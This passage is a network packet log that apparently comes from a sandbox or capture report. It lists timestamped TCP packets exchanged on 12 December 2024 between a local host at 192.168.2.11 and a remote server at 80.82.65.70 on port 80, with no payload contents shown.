Dec 12, 2024 16:48:06.095238924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.095879078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.095963001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.095978022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.096143961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.096654892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.096724987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.096772909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.096927881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.097445011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.097585917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.097637892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.098251104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.098314047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.098334074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.098366022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.098998070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.099057913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.099129915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.099221945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.099790096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.099860907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.099927902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.099992037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.100590944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.100651979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.100681067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.100730896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.101376057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.101505995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.101540089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.101674080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.102209091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.102354050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.102365971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.102911949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.102977037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.102997065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.103095055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.157572985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.157598019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.157793045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.157875061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.157896996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.157958984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.158773899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.158873081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.158921003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.159065008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.159605980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.159677029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.193295956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.193402052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.193500996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.193500996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.193550110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.193627119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.193646908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.193782091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.194329977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.194452047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.194564104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.194634914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.195020914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.195086002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.195173025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.195229053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.195882082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.195941925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.195991993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.196050882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.196805954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.196849108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.196904898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.197362900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.197418928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.197519064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.197686911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.198270082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.198384047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.198425055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.198476076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.199039936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.199141026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.199162960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.199239016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.199840069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.199903011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.199938059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.200059891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.200545073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.200566053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.200617075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.201302052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.201344967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.201412916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.202083111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.202178955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.202203989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.202259064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.202889919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.202935934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.203006029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.203643084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.203722954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.203742981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.203772068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.204494953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.204618931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.204622984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.204684019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.205219030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.205353022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.205409050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.205992937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.206167936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.206170082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.206756115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.206805944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.206845045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.206897020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.207016945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.207647085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.207714081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.207755089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.207787037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.208338022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.208400965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.272789001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.272919893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.273133993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.273231983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.273310900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.273376942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.273900032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.274060965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.274122953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.274631977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.274688959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.274749994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.275428057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.275509119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.275547981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.276196003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.276262045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.276333094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.276423931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.277034044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.277143955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.277292013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.277854919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.277924061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.277983904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.278578043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.278688908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.278752089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.279561996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.279658079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.279719114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.280479908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.280561924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.280731916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.281210899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.281270027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.281388998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.281517982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.282005072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.282061100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.282130957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.282448053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.282807112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.282876968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.282900095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.283101082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.283376932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.283447981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.283519030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.283623934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.284075975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.284142971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.284176111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.284229040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.284849882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.284909010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.284976959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.285154104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.285618067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.285681009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.285742998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.285861969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.286412954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.286520004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.286540985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.286573887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.287147999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.287219048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.287275076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.287374020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.287950993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.288084984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.288109064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.288234949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.288747072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.288897038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.288966894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.289086103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.289516926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.289577961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.289655924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.289800882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.290277004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.290328979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.290416956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.290612936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.291085958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.291248083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.291294098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.291366100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.291924000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.292063951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.292102098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.292186975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.292649031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.292742014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.292762995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.292892933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.293420076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.293561935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.293570042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.293625116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.294205904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.294270992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.294322968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.294382095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.294984102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.295066118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.295146942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.349674940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.349824905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.349838018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.349843979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.349940062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.349940062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.350001097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.350040913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.350106001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.350812912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.350902081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.350964069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.351592064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.351658106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.386188984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.386343956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.386384010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.386445999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.386533022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.386679888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.386754990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.387310028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.387376070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.387443066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.387518883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.388051033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.388176918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.388201952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.388237000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.388842106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.388912916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.388952971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.389067888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.389621019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.389688015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.389710903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.389801025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.390389919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.390508890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.390569925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.391195059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.391341925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.391372919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.391403913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.391952991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.392158985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.392194033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.392225027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.392738104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.392798901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.392864943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.393043995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.393543005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.393636942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.393672943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.393728018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.394323111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.394381046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.394449949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.394536018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.395103931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.395169020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.395234108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.395286083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.395925999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.395965099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.396053076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.396660089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.396730900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.396801949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.396970034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.397443056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.397573948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.397576094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.397641897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.398299932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.398364067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.398463964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.398559093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.398988008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.399060011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.399096012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.399146080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.399777889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.399887085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.399960041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.400583029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.400619030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.400639057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.400671005 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.465003967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.465013981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.465136051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.465193987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.465312958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.465347052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.465415955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.465511084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.465708971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.466151953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.466212988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.466304064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.466387987 CET	49819	80	192.168.2.11	80.82.65.70
